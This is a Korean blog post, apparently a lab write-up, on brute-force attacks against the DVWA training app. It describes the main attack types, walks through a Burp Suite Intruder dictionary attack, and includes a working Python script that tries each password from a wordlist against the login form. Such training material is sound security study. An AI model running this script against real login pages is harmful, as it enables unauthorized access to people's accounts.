DVWA- Brute Force

2022. 3. 13. 21:45웹취약점/DVWA

무차별 대입(brute-force) 공격은 인증 정보(사용자 이름과 비밀번호)를 알아내기 위해 공격자가 반복적, 체계적으로 매번 다른 사용자 이름과 비밀번호를 입력하는 방식의 공격으로, 단순하지만 리소스를 많이 소비하는 시행착오 기반의 접근 방식이다. 보통 자동화된 툴이나 스크립트를 사용해 액세스 권한을 획득할 때까지 가능한 모든 조합을 대입하는 공격.


무차별 대입 공격의 유형

  • 역 무차별 대입 공격: 많은 계정을 대상으로 소수의 흔한 비밀번호를 반복 시도하는 공격 기법.
  • 인증 정보 스터핑: 사이트 또는 서비스에서 훔친 사용자 이름과 비밀번호를 사용해 다른 서비스와 애플리케이션의 계정을 하이재킹 하는 공격 기법.
  • 사전 공격: 사전의 단어 또는 다른 데이터 침해에서 얻은 일반적인 비밀번호를 돌아가면서 시도하는 공격 기법.
  • 레인보우 테이블 공격: 공격자는 평문 비밀번호와 각 비밀번호의 해시값이 저장된 사전 계산된 사전을 사용해 해싱 함수를 반대로 되돌려 비밀번호를 알아내는 공격 기법.

 

실습

실습 환경 Windows10
실습도구 Burp suite / Python-request
유형 무차별 대입 공격- 사전 공격

 

Level-low

 

Burp Suite

 

Username: admin
Password: 1111

 

username과 Password를 입력해주고 Burp suite로 패킷을 잡아줍니다.

 

 우클릭 후 "Send to Intruder"을 클릭.

 

상단 탭에서 "Intruder"을 눌러 들어가 보면 태그가 되어있는 것을 확인할 수 있는데 우측 끝에 "Clear"를 누름.

 

 

 

Password 부분만 드래그 한 다음 아까와 같이 우측에 있는 "add"를 눌러 추가해줍니다.

 

Intruder탭에서 "payloads" 설정에 들어가 "Load"를 눌러 사전 파일을 추가해준다.

 

 

설정을 다 했으면 Intruder -> Target 으로 돌아와 "Start attack"를 클릭해 공격을 시작한다.

 

 

공격 화면을 보면 많은 단어 리스트가 보인다. 그중 "password"를 눌러 "Response"을 확인해보면 공격이 성공해 

로그인이 되었다는 것을 확인할 수 있다.

 

Python

import requests

URL="http://localhost/vulnerabilities/brute/"
cookies = {'PHPSESSID': 'Yourcookies',
           'security': 'low'}

params = {'username':'',
          'password':'',
          'Login':'Login'}

with open('password.txt') as f:
    passwords = f.readlines()

passwords = [x.strip() for x in passwords]

for password in passwords:    
    params['username'] = 'admin'
    params['password'] = password

    print("Trying password {}...".format(password))
    res = requests.get(URL, params=params, cookies=cookies)
    if "Username and/or password incorrect." not in res.text:
        print("\n\nPassword found!: {}".format(password))
        break

"pip install requests"를 설치 후 스크립트를 실행한다.

 

이렇게 파이썬 스크립트를 이용해 사용자 계정을 찾을 수 있다.

'웹취약점 > DVWA' 카테고리의 다른 글

DVWA-Command Injection  (0) 2022.03.15